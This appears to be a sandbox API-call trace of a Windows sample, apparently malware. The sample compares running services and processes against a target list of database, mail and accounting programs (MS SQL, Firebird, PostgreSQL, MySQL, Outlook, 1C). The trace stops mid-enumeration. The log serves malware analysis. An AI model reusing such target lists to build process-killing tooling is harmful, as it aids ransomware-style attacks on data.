(lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0058.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0058.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0058.581] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0058.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0058.581] lstrlenW (lpString="netprofm") returned 8 [0058.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0058.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0058.582] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0058.582] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0058.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0058.582] lstrlenW (lpString="NlaSvc") returned 6 [0058.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0058.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0058.582] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0058.582] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0058.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0058.582] lstrlenW (lpString="nsi") returned 3 [0058.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0058.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0058.582] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0058.582] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0058.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0058.582] lstrlenW (lpString="PcaSvc") returned 6 [0058.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0058.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0058.582] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0058.582] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0058.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0058.582] lstrlenW (lpString="PlugPlay") returned 8 [0058.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0058.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0058.583] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0058.583] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0058.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0058.583] lstrlenW (lpString="Power") returned 5 [0058.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0058.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0058.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0058.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0058.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0058.583] lstrlenW (lpString="ProfSvc") returned 7 [0058.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0058.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0058.583] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0058.583] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0058.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0058.583] lstrlenW (lpString="RpcEptMapper") returned 12 [0058.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.583] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0058.583] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0058.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0058.583] lstrlenW (lpString="RpcSs") returned 5 [0058.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0058.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0058.583] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0058.583] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0058.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0058.583] lstrlenW (lpString="SamSs") returned 5 [0058.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0058.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0058.584] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0058.584] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0058.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0058.584] lstrlenW (lpString="Schedule") returned 8 [0058.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0058.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0058.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0058.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0058.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0058.584] lstrlenW (lpString="SENS") returned 4 [0058.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0058.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0058.584] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0058.584] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0058.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0058.584] lstrlenW (lpString="ShellHWDetection") returned 16 [0058.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.584] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0058.584] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0058.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0058.584] lstrlenW (lpString="Spooler") returned 7 [0058.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0058.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0058.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0058.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0058.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0058.585] lstrlenW (lpString="swprv") returned 5 [0058.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0058.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0058.585] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0058.585] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0058.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0058.585] lstrlenW (lpString="SysMain") returned 7 [0058.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0058.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0058.585] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0058.585] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0058.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0058.585] lstrlenW (lpString="Themes") returned 6 [0058.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0058.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0058.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0058.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0058.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0058.585] lstrlenW (lpString="TrkWks") returned 6 [0058.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0058.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0058.585] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0058.585] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0058.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0058.586] lstrlenW (lpString="UxSms") returned 5 [0058.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0058.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0058.586] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0058.586] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0058.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0058.586] lstrlenW (lpString="VSS") returned 3 [0058.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0058.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0058.586] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0058.586] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0058.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0058.586] lstrlenW (lpString="WdiServiceHost") returned 14 [0058.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.586] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0058.586] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0058.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0058.586] lstrlenW (lpString="WdiSystemHost") returned 13 [0058.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.586] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0058.586] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0058.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0058.586] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0058.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.587] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0058.587] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0058.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0058.587] lstrlenW (lpString="Winmgmt") returned 7 [0058.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0058.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0058.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0058.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0058.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0058.588] lstrlenW (lpString="WPDBusEnum") returned 10 [0058.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.588] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0058.588] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0058.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0058.588] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0058.588] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0058.592] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0058.593] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0058.593] lstrlenW (lpString="System") returned 6 [0058.593] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0058.593] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0058.593] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0058.593] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0058.593] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0058.593] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0058.593] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0058.593] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0058.593] lstrlenW (lpString="smss.exe") returned 8 [0058.594] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0058.594] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0058.594] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0058.594] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0058.594] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0058.594] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0058.594] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0058.594] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.594] lstrlenW (lpString="csrss.exe") returned 9 [0058.594] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0058.594] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0058.594] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0058.594] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0058.594] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0058.594] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0058.594] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0058.594] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0058.595] lstrlenW (lpString="wininit.exe") returned 11 [0058.595] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0058.595] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0058.595] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0058.595] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.595] lstrlenW (lpString="csrss.exe") returned 9 [0058.596] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0058.596] lstrlenW (lpString="winlogon.exe") returned 12 [0058.596] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0058.597] lstrlenW (lpString="services.exe") returned 12 [0058.597] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0058.597] lstrlenW (lpString="lsass.exe") returned 9 [0058.597] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0058.598] lstrlenW (lpString="lsm.exe") returned 7 [0058.598] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.598] lstrlenW (lpString="svchost.exe") returned 11 [0058.598] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.598] lstrlenW (lpString="svchost.exe") returned 11 [0058.599] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.599] lstrlenW (lpString="svchost.exe") returned 11 [0058.599] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.599] lstrlenW (lpString="svchost.exe") returned 11 [0058.599] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.600] lstrlenW (lpString="svchost.exe") returned 11 [0058.600] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0058.600] lstrlenW (lpString="audiodg.exe") returned 11 [0058.600] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.601] lstrlenW (lpString="svchost.exe") returned 11 [0058.601] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.601] lstrlenW (lpString="svchost.exe") returned 11 [0058.602] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0058.602] lstrlenW (lpString="dwm.exe") returned 7 [0058.602] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0058.602] lstrlenW (lpString="explorer.exe") returned 12 [0058.603] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0058.603] lstrlenW (lpString="spoolsv.exe") returned 11 [0058.603] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.603] lstrlenW (lpString="taskhost.exe") returned 12 [0058.603] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.604] lstrlenW (lpString="svchost.exe") returned 11 [0058.604] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0058.604] lstrlenW (lpString="taskeng.exe") returned 11 [0058.604] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.605] lstrlenW (lpString="taskhost.exe") returned 12 [0058.605] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0058.605] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0058.605] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0058.605] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0058.606] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0058.606] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0058.606] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0058.606] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0058.606] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0058.607] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0058.607] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0058.607] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0058.607] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0058.608] lstrlenW (lpString="toyota.exe") returned 10 [0058.608] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0058.608] lstrlenW (lpString="radiation.exe") returned 13 